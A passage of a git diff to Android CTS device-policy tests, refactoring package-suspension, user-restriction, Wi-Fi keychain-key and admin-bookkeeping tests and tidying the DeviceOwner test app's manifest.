+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.getDefaultLauncher;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.pm.SuspendDialogInfo;
+import android.util.Log;
 
 import java.util.Arrays;
-import java.util.HashSet;
+import java.util.Collection;
+import java.util.Set;
 
 public class SuspendPackageTest extends BaseDeviceAdminTest {
+
+    private static final String TAG = SuspendPackageTest.class.getSimpleName();
     private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
 
-    public void testSetPackagesSuspended() throws NameNotFoundException {
-        String[] notHandledPackages =
-                mDevicePolicyManager.setPackagesSuspended(ADMIN_RECEIVER_COMPONENT, new String[]
-                        {INTENT_RECEIVER_PKG}, true);
-        // all packages should be handled.
-        assertEquals(0, notHandledPackages.length);
-        // test isPackageSuspended
-        boolean isSuspended =
-                mDevicePolicyManager.isPackageSuspended(
-                        ADMIN_RECEIVER_COMPONENT, INTENT_RECEIVER_PKG);
-        assertTrue(isSuspended);
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Log.d(TAG, "Running test on user " + mContext.getUserId());
     }
 
-    public void testSetPackagesSuspendedWithPackageManager() throws NameNotFoundException {
+    public void testSetPackagesSuspended() throws Exception {
+        String[] notHandled = setSuspendedPackages(/* suspend= */ true, INTENT_RECEIVER_PKG);
+        // all packages should be handled.
+        assertWithMessage("packages not suspended").that(notHandled).isEmpty();
+
+        assertPackageSuspended(INTENT_RECEIVER_PKG);
+    }
+
+    public void testSetPackagesSuspendedWithPackageManager() throws Exception {
         SuspendDialogInfo dialogInfo = new SuspendDialogInfo.Builder()
                 .setMessage("Test message")
                 .build();
@@ -50,69 +56,81 @@
                 mContext.getPackageManager().setPackagesSuspended(
                         new String[] {INTENT_RECEIVER_PKG}, true, null, null, dialogInfo);
         // all packages should be handled.
-        assertEquals(0, notHandledPackages.length);
-        // test isPackageSuspended
-        boolean isSuspended =
-                mDevicePolicyManager.isPackageSuspended(
-                        ADMIN_RECEIVER_COMPONENT, INTENT_RECEIVER_PKG);
-        assertTrue(isSuspended);
+        assertWithMessage("notHandlePackages").that(notHandledPackages).isEmpty();
+
+        assertPackageSuspended(INTENT_RECEIVER_PKG);
     }
 
-    public void testSetPackagesNotSuspendedWithPackageManager() throws NameNotFoundException {
-        String[] notHandledPackages = mContext.getPackageManager().setPackagesSuspended(
+    public void testSetPackagesNotSuspendedWithPackageManager() throws Exception {
+        String[] notHandled = mContext.getPackageManager().setPackagesSuspended(
                 new String[] {INTENT_RECEIVER_PKG}, false, null, null, (SuspendDialogInfo) null);
         // all packages should be handled.
-        assertEquals(0, notHandledPackages.length);
+        assertWithMessage("packages not handled").that(notHandled).isEmpty();
+
         // test isPackageSuspended
-        boolean isSuspended =
-                mDevicePolicyManager.isPackageSuspended(
-                        ADMIN_RECEIVER_COMPONENT, INTENT_RECEIVER_PKG);
-        assertFalse(isSuspended);
+        assertPackageNotSuspended(INTENT_RECEIVER_PKG);
     }
 
-    public void testSetPackagesNotSuspended() throws NameNotFoundException {
-        String[] notHandledPackages = mDevicePolicyManager.setPackagesSuspended(
-                ADMIN_RECEIVER_COMPONENT,
-                new String[] {INTENT_RECEIVER_PKG},
-                false);
+    public void testSetPackagesNotSuspended() throws Exception {
+
+        String[] notHandled = setSuspendedPackages(/* suspend= */ false, INTENT_RECEIVER_PKG);
         // all packages should be handled.
-        assertEquals(0, notHandledPackages.length);
+        assertWithMessage("packages not suspended").that(notHandled).isEmpty();
+
         // test isPackageSuspended
-        boolean isSuspended =
-                mDevicePolicyManager.isPackageSuspended(
-                        ADMIN_RECEIVER_COMPONENT, INTENT_RECEIVER_PKG);
-        assertFalse(isSuspended);
+        assertPackageNotSuspended(INTENT_RECEIVER_PKG);
     }
 
     /**
      * Verify that we cannot suspend launcher and dpc app.
      */
-    public void testSuspendNotSuspendablePackages() {
-        String launcherPackage = getLauncherPackage();
+    public void testSuspendNotSuspendablePackages() throws Exception {
+        String launcherPackage = getDefaultLauncher(getInstrumentation());
         String dpcPackage = ADMIN_RECEIVER_COMPONENT.getPackageName();
-        String[] unsuspendablePackages = new String[] {launcherPackage, dpcPackage};
-        String[] notHandledPackages = mDevicePolicyManager.setPackagesSuspended(
-                ADMIN_RECEIVER_COMPONENT,
-                unsuspendablePackages,
-                true);
+        String[] notHandledPackages = setSuspendedPackages(/* suspend= */ true,
+                launcherPackage, dpcPackage);
         // no package should be handled.
-        assertArrayEqualIgnoreOrder(unsuspendablePackages, notHandledPackages);
+        assertWithMessage("not handled packages").that(notHandledPackages).asList()
+                .containsExactly(launcherPackage, dpcPackage);
+
+        Set<String> exemptApps = mDevicePolicyManager.getPolicyExemptApps();
+        if (exemptApps.isEmpty()) {
+            Log.v(TAG, "testSuspendNotSuspendablePackages(): no exempt apps");
+            return;
+        }
+
+        Log.v(TAG, "testSuspendNotSuspendablePackages(): testing exempt apps: " + exemptApps);
+        notHandledPackages = setSuspendedPackages(/* suspend= */ true, exemptApps);
+        assertWithMessage("exempt apps not suspended").that(notHandledPackages).asList()
+            .containsExactlyElementsIn(exemptApps);
     }
 
-    /**
-     * @return the package name of launcher.
-     */
-    private String getLauncherPackage() {
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.addCategory(Intent.CATEGORY_HOME);
-        ResolveInfo resolveInfo = mContext.getPackageManager().resolveActivity(intent,
-                PackageManager.MATCH_DEFAULT_ONLY);
-        return resolveInfo.activityInfo.packageName;
+    private String[] setSuspendedPackages(boolean suspend, Collection<String> pkgs) {
+        String[] pkgsArray = new String[pkgs.size()];
+        pkgs.toArray(pkgsArray);
+        return setSuspendedPackages(suspend, pkgsArray);
     }
 
-    private static <T> void assertArrayEqualIgnoreOrder(T[] a, T[] b) {
-        assertEquals(a.length, b.length);
-        assertTrue(new HashSet(Arrays.asList(a)).containsAll(new HashSet(Arrays.asList(b))));
+    private String[] setSuspendedPackages(boolean suspend, String... pkgs) {
+        Log.d(TAG, "Calling setPackagesSuspended(" + suspend + ", " + Arrays.toString(pkgs));
+        String[] notHandled =
+                mDevicePolicyManager.setPackagesSuspended(ADMIN_RECEIVER_COMPONENT, pkgs, suspend);
+        Log.d(TAG, "Returning " + Arrays.toString(notHandled));
+        return notHandled;
     }
 
+    private void assertPackageSuspended(String pkg) throws Exception {
+        assertPackageSuspension(pkg, /* expected= */ true);
+    }
+
+    private void assertPackageNotSuspended(String pkg) throws Exception {
+        assertPackageSuspension(pkg, /* expected= */ false);
+    }
+
+    private void assertPackageSuspension(String pkg, boolean expected) throws Exception {
+        boolean actual =
+                mDevicePolicyManager.isPackageSuspended(ADMIN_RECEIVER_COMPONENT, pkg);
+        Log.d(TAG, "isPackageSuspended(" + pkg + "): " + actual);
+        assertWithMessage("package %s suspension", pkg).that(actual).isEqualTo(expected);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
index 9bb371b..01d8572 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -20,26 +20,34 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.app.UiAutomation;
 import android.app.admin.DevicePolicyManager;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.hardware.camera2.CameraManager;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.UserHandle;
 import android.os.UserManager;
+import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import com.android.cts.devicepolicy.CameraUtils;
+
 import com.google.common.collect.ImmutableSet;
 
-import java.util.concurrent.TimeUnit;
 import java.util.Set;
+import java.util.concurrent.TimeUnit;
 
 public class UserRestrictionsParentTest extends InstrumentationTestCase {
 
     private static final String TAG = "UserRestrictionsParentTest";
 
     protected Context mContext;
+    private ContentResolver mContentResolver;
+    private UiAutomation mUiAutomation;
     private DevicePolicyManager mDevicePolicyManager;
     private UserManager mUserManager;
 
@@ -56,6 +64,8 @@
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
+        mContentResolver = mContext.getContentResolver();
+        mUiAutomation = getInstrumentation().getUiAutomation();
 
         mDevicePolicyManager = (DevicePolicyManager)
                 mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
@@ -72,6 +82,7 @@
 
     @Override
     protected void tearDown() throws Exception {
+        mUiAutomation.dropShellPermissionIdentity();
         stopBackgroundThread();
         super.tearDown();
     }
@@ -161,8 +172,7 @@
         while (successToOpen != canOpen && retries > 0) {
             retries--;
             Thread.sleep(500);
-            successToOpen = CameraUtils
-                    .blockUntilOpenCamera(mCameraManager, mBackgroundHandler);
+            successToOpen = CameraUtils.blockUntilOpenCamera(mCameraManager, mBackgroundHandler);
         }
         assertEquals(String.format("Timed out waiting the value to change to %b (actual=%b)",
                 canOpen, successToOpen), canOpen, successToOpen);
@@ -192,11 +202,18 @@
                     // UserManager.DISALLOW_DEBUGGING_FEATURES
             );
 
-    public void testPerProfileUserRestriction_onParent() {
+    public void testPerProfileUserRestriction_onParent() throws Settings.SettingNotFoundException {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.CREATE_USERS");
+
         DevicePolicyManager parentDevicePolicyManager =
                 mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
         assertNotNull(parentDevicePolicyManager);
 
+        int locationMode = Settings.Secure.getIntForUser(mContentResolver,
+                Settings.Secure.LOCATION_MODE, UserHandle.USER_SYSTEM);
+
         for (String restriction : PROFILE_OWNER_ORGANIZATION_OWNED_LOCAL_RESTRICTIONS) {
             try {
                 boolean hasRestrictionOnManagedProfile = mUserManager.hasUserRestriction(
@@ -214,6 +231,12 @@
                 assertThat(hasUserRestriction(restriction)).isFalse();
             }
         }
+
+        // Restore the location mode setting after adding and removing the
+        // DISALLOW_SHARE_LOCATION user restriction. This is because, modifying this user
+        // restriction causes the location mode setting to be turned off.
+        Settings.Secure.putIntForUser(mContentResolver, Settings.Secure.LOCATION_MODE, locationMode,
+                UserHandle.USER_SYSTEM);
     }
 
     private static final Set<String> PROFILE_OWNER_ORGANIZATION_OWNED_GLOBAL_RESTRICTIONS =
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/WifiTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/WifiTest.java
index 8703b10..29e2ed8 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/WifiTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/WifiTest.java
@@ -15,10 +15,24 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.cts.devicepolicy.TestCertificates.getCaCert;
+import static com.android.cts.devicepolicy.TestCertificates.getTestKey;
+import static com.android.cts.devicepolicy.TestCertificates.getUserCert;
+
+import static org.junit.Assert.assertNotEquals;
+
 import android.content.ComponentName;
 import android.content.pm.PackageManager;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSuggestion;
 import android.text.TextUtils;
 
+import java.security.cert.Certificate;
+import java.security.cert.X509Certificate;
+import java.util.Collections;
+
 /**
  * Tests that require the WiFi feature.
  */
@@ -26,16 +40,41 @@
     /** Mac address returned when the caller doesn't have access. */
     private static final String DEFAULT_MAC_ADDRESS = "02:00:00:00:00:00";
 
-    public static final ComponentName ADMIN_RECEIVER_COMPONENT = new ComponentName(
-            BaseDeviceAdminTest.BasicAdminReceiver.class.getPackage().getName(),
-            BaseDeviceAdminTest.BasicAdminReceiver.class.getName());
+    public static final ComponentName ADMIN = new ComponentName(
+            BasicAdminReceiver.class.getPackage().getName(),
+            BasicAdminReceiver.class.getName());
+
+    private static final String TEST_ALIAS = "test_alias";
+    private static final String TEST_SSID = "\"SomeNet\"";
+
+    private WifiManager mWm;
+    private int mNetId = -1;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mWm = mContext.getSystemService(WifiManager.class);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mNetId != -1) {
+            mWm.removeNetwork(mNetId);
+        }
+        // Remove all suggestions if any were added.
+        mWm.removeNetworkSuggestions(Collections.emptyList());
+        mDevicePolicyManager.removeKeyPair(ADMIN, TEST_ALIAS);
+
+        super.tearDown();
+    }
 
     public void testGetWifiMacAddress() {
         if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI)) {
             // wifi not supported.
             return;
         }
-        final String macAddress = mDevicePolicyManager.getWifiMacAddress(ADMIN_RECEIVER_COMPONENT);
+        final String macAddress = mDevicePolicyManager.getWifiMacAddress(ADMIN);
 
         assertFalse("Device owner should be able to get the real MAC address",
                 DEFAULT_MAC_ADDRESS.equals(macAddress));
@@ -45,9 +84,77 @@
 
     public void testCannotGetWifiMacAddress() {
         try {
-            mDevicePolicyManager.getWifiMacAddress(ADMIN_RECEIVER_COMPONENT);
+            mDevicePolicyManager.getWifiMacAddress(ADMIN);
             fail("Profile owner shouldn't be able to get the MAC address");
         } catch (SecurityException expected) {
         }
     }
+
+    public void testAddNetworkWithKeychainKey_granted() throws Exception {
+        prepareTestKeyPair(/* allowForWifi= */ true);
+        final WifiConfiguration config = makeTestWifiConfig();
+
+        mNetId = mWm.addNetwork(config);
+
+        assertNotEquals(-1, mNetId);
+    }
+
+    public void testAddNetworkWithKeychainKey_notGranted() throws Exception {
+        prepareTestKeyPair(/* allowForWifi= */ false);
+        final WifiConfiguration config = makeTestWifiConfig();
+
+        mNetId = mWm.addNetwork(config);
+
+        assertEquals(-1, mNetId);
+    }
+
+    public void testAddNetworkSuggestionWithKeychainKey_granted() throws Exception {
+        prepareTestKeyPair(/* allowForWifi= */ true);
+        final WifiNetworkSuggestion suggestion = makeWifiNetworkSuggestion();
+
+        assertEquals(WifiManager.STATUS_NETWORK_SUGGESTIONS_SUCCESS,
+                mWm.addNetworkSuggestions(Collections.singletonList(suggestion)));
+    }
+
+    public void testAddNetworkSuggestionWithKeychainKey_notGranted() throws Exception {
+        prepareTestKeyPair(/* allowForWifi= */ false);
+        final WifiNetworkSuggestion suggestion = makeWifiNetworkSuggestion();
+
+        assertEquals(WifiManager.STATUS_NETWORK_SUGGESTIONS_ERROR_ADD_INVALID,
+                mWm.addNetworkSuggestions(Collections.singletonList(suggestion)));
+    }
+
+    private WifiEnterpriseConfig makeWifiEnterpriseConfig() throws Exception {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setDomainSuffixMatch("some-domain.com");
+        enterpriseConfig.setIdentity("user");
+        enterpriseConfig.setCaCertificate((X509Certificate) getCaCert());
+        enterpriseConfig.setClientKeyPairAlias(TEST_ALIAS);
+        return enterpriseConfig;
+    }
+
+    private WifiNetworkSuggestion makeWifiNetworkSuggestion() throws Exception {
+        return new WifiNetworkSuggestion.Builder()
+                .setSsid(TEST_SSID)
+                .setWpa2EnterpriseConfig(makeWifiEnterpriseConfig())
+                .build();
+    }
+
+    private void prepareTestKeyPair(boolean allowForWifi) throws Exception {
+        assertTrue(mDevicePolicyManager.installKeyPair(ADMIN, getTestKey(),
+                new Certificate[]{getUserCert()}, TEST_ALIAS,
+                /* requestAccess= */ false));
+        if (allowForWifi) {
+            assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
+        }
+    }
+
+    private WifiConfiguration makeTestWifiConfig() throws Exception {
+        WifiConfiguration config = new WifiConfiguration();
+        config.SSID = TEST_SSID;
+        config.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_EAP);
+        config.enterpriseConfig = makeWifiEnterpriseConfig();
+        return config;
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 1f3bc25..ba0953a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -41,6 +41,8 @@
         "cts-security-test-support-library",
         "truth-prebuilt",
         "androidx.legacy_legacy-support-v4",
+        "devicepolicy-deviceside-common",
+        "DpmWrapper",
     ],
     min_sdk_version: "21",
     // tag this module as a cts test artifact
@@ -48,5 +50,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 673e166..3863d90 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -15,69 +15,67 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.deviceowner" >
+     package="com.android.cts.deviceowner">
 
     <uses-sdk android:minSdkVersion="20"/>
 
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
     <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application
-        android:testOnly="true"
-        android:usesCleartextTraffic="true">>
+    <application android:testOnly="true"
+         android:usesCleartextTraffic="true">&gt;
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.deviceowner.BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceowner.BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name="com.android.cts.deviceowner.CreateAndManageUserTest$TestProfileOwner"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.deviceowner.CreateAndManageUserTest$SecondaryUserAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-                android:name="com.android.cts.deviceowner.CreateAndManageUserTest$SecondaryUserAdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
-            <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
-            </intent-filter>
+
+        <!--  TODO(b/176993670): remove if DpmWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
         </receiver>
 
         <service android:name="com.android.cts.deviceowner.CreateAndManageUserTest$PrimaryUserService"
-                 android:exported="true"
-                 android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
         </service>
 
-        <activity
-            android:name=".SetPolicyActivity"
-            android:launchMode="singleTop">
+        <activity android:name=".SetPolicyActivity"
+             android:launchMode="singleTop"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
@@ -85,19 +83,19 @@
         <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
 
         <service android:name="com.android.cts.deviceowner.NotificationListener"
-                 android:label="Notification Listener"
-                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:label="Notification Listener"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.deviceowner"
-                     android:label="Device Owner CTS tests">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+         android:targetPackage="com.android.cts.deviceowner"
+         android:label="Device Owner CTS tests">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
index b82305a..401a2e7 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
@@ -15,11 +15,18 @@
  */
 package com.android.cts.deviceowner;
 
-import android.app.ActivityManager;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.app.PendingIntent;
 import android.content.ContentResolver;
 import android.os.Process;
+import android.os.UserHandle;
 import android.provider.Settings;
+import android.util.Log;
+
+import com.android.cts.devicepolicy.TestCertificates;
+
+import com.google.common.collect.Range;
 
 import java.io.ByteArrayInputStream;
 import java.security.KeyStore;
@@ -27,41 +34,19 @@
 import java.security.cert.CertificateFactory;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public class AdminActionBookkeepingTest extends BaseDeviceOwnerTest {
-    /*
-     * The CA cert below is the content of cacert.pem as generated by:
-     *
-     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
-     */
-    private static final String TEST_CA =
-            "-----BEGIN CERTIFICATE-----\n" +
-            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
-            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
-            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
-            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
-            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
-            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
-            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
-            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
-            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
-            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
-            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
-            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
-            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
-            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
-            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
-            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
-            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
-            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
-            "wQ==\n" +
-            "-----END CERTIFICATE-----";
+
+    private static final String TAG = AdminActionBookkeepingTest.class.getSimpleName();
+
+    private static final int NOTIFICATION_TIMEOUT_MS = 5 * 60_000; // 5 minutes
 
     @Override
     protected void tearDown() throws Exception {
         mDevicePolicyManager.setSecurityLoggingEnabled(getWho(), false);
         mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), false);
-        mDevicePolicyManager.uninstallCaCert(getWho(), TEST_CA.getBytes());
+        mDevicePolicyManager.uninstallCaCert(getWho(), TestCertificates.TEST_CA.getBytes());
 
         super.tearDown();
     }
@@ -70,7 +55,9 @@
      * Test: Retrieving security logs should update the corresponding timestamp.
      */
     public void testRetrieveSecurityLogs() throws Exception {
-        Thread.sleep(1);
+        Log.i(TAG, "testRetrieveSecurityLogs()");
+
+        sleep(1);
         final long previousTimestamp = mDevicePolicyManager.getLastSecurityLogRetrievalTime();
 
         mDevicePolicyManager.setSecurityLoggingEnabled(getWho(), true);
@@ -80,11 +67,10 @@
         long timeAfter = System.currentTimeMillis();
 
         final long firstTimestamp = mDevicePolicyManager.getLastSecurityLogRetrievalTime();
-        assertTrue(firstTimestamp > previousTimestamp);
-        assertTrue(firstTimestamp >= timeBefore);
-        assertTrue(firstTimestamp <= timeAfter);
 
-        Thread.sleep(2);
+        assertTimeStamps(timeBefore, previousTimestamp, firstTimestamp, timeAfter);
+
+        sleep(2);
         timeBefore = System.currentTimeMillis();
         final boolean preBootSecurityLogsRetrieved =
                 mDevicePolicyManager.retrievePreRebootSecurityLogs(getWho()) != null;
@@ -94,13 +80,12 @@
         if (preBootSecurityLogsRetrieved) {
             // If the device supports pre-boot security logs, verify that retrieving them updates
             // the timestamp.
-            assertTrue(secondTimestamp > firstTimestamp);
-            assertTrue(secondTimestamp >= timeBefore);
-            assertTrue(secondTimestamp <= timeAfter);
+            assertTimeStamps(timeBefore, firstTimestamp, secondTimestamp, timeAfter);
         } else {
             // If the device does not support pre-boot security logs, verify that the attempt to
             // retrieve them does not update the timestamp.
-            assertEquals(firstTimestamp, secondTimestamp);
+            assertWithMessage("timestamp when device does not support pre-boot security logs")
+                    .that(firstTimestamp).isEqualTo(secondTimestamp);
         }
     }
 
@@ -108,17 +93,13 @@
      * Test: Requesting a bug report should update the corresponding timestamp.
      */
     public void testRequestBugreport() throws Exception {
-        ActivityManager activityManager = mContext.getSystemService(ActivityManager.class);
+        Log.i(TAG, "testRequestBugreport()");
 
